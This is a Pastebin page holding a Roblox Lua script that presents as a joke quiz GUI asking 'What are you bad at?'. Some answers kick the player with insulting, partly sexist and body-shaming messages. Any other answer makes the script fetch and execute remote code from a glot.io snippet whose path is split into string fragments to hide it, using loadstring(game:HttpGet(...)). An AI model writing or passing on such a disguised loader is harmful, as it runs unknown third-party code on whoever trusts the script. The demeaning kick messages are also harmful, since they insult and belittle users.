Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --you can edit all of this if you want--
- -- Create the ScreenGui
- local screenGui = Instance.new("ScreenGui")
- screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- -- Create the main frame
- local mainFrame = Instance.new("Frame")
- mainFrame.Size = UDim2.new(0.5, 0, 0.3, 0)
- mainFrame.Position = UDim2.new(0.25, 0, 0.35, 0)
- mainFrame.BackgroundTransparency = 0.5
- mainFrame.BackgroundColor3 = Color3.fromRGB(169, 169, 169) -- Gray color
- mainFrame.Parent = screenGui
- -- Create the close button
- local closeButton = Instance.new("TextButton")
- closeButton.Size = UDim2.new(0, 30, 0, 30)
- closeButton.Position = UDim2.new(0, 5, 0, 5)
- closeButton.Text = "X"
- closeButton.Parent = mainFrame
- -- Create the question label
- local questionLabel = Instance.new("TextLabel")
- questionLabel.Size = UDim2.new(1, -10, 0.3, -10)
- questionLabel.Position = UDim2.new(0, 5, 0.2, 5)
- questionLabel.Text = "What are you bad at?"
- questionLabel.TextScaled = true
- questionLabel.BackgroundTransparency = 1
- questionLabel.Parent = mainFrame
- -- Create the message box
- local messageBox = Instance.new("TextBox")
- messageBox.Size = UDim2.new(1, -10, 0.3, -10)
- messageBox.Position = UDim2.new(0, 5, 0.6, 5)
- messageBox.PlaceholderText = "Type here..."
- messageBox.TextScaled = true
- messageBox.Parent = mainFrame
- -- Close button functionality
- closeButton.MouseButton1Click:Connect(function()
- screenGui:Destroy()
- end)
- -- Function to handle message box input
- local function handleInput()
- local text = messageBox.Text:lower() -- Convert to lowercase for case-insensitive comparison
- local player = game.Players.LocalPlayer
- if text == "cooking" then
- player:Kick("Go in the kitchen and make me a sandwich, pathetic.")
- elseif text == "eating" then
- player:Kick("Ugh, did you get fat again?")
- elseif text == "cleaning" then
- player:Kick("You're weak and an idiot.")
- elseif text == "nothing" then
- player:Kick("Liar liar, pants on fire!")
- else
- local pastebin = "https://glot.io/snippets"
- local Rochips_Panel = "gw".."wv".."87".."7g".."a3/r".."aw".."/ma".."in.lu".."a"
- loadstring(game:HttpGet(pastebin.."/"..Rochips_Panel))()
- end
- end
- -- Detect when the user presses the "Enter" key while focused on the message box
- messageBox.FocusLost:Connect(function(enterPressed)
- if enterPressed then
- handleInput()
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement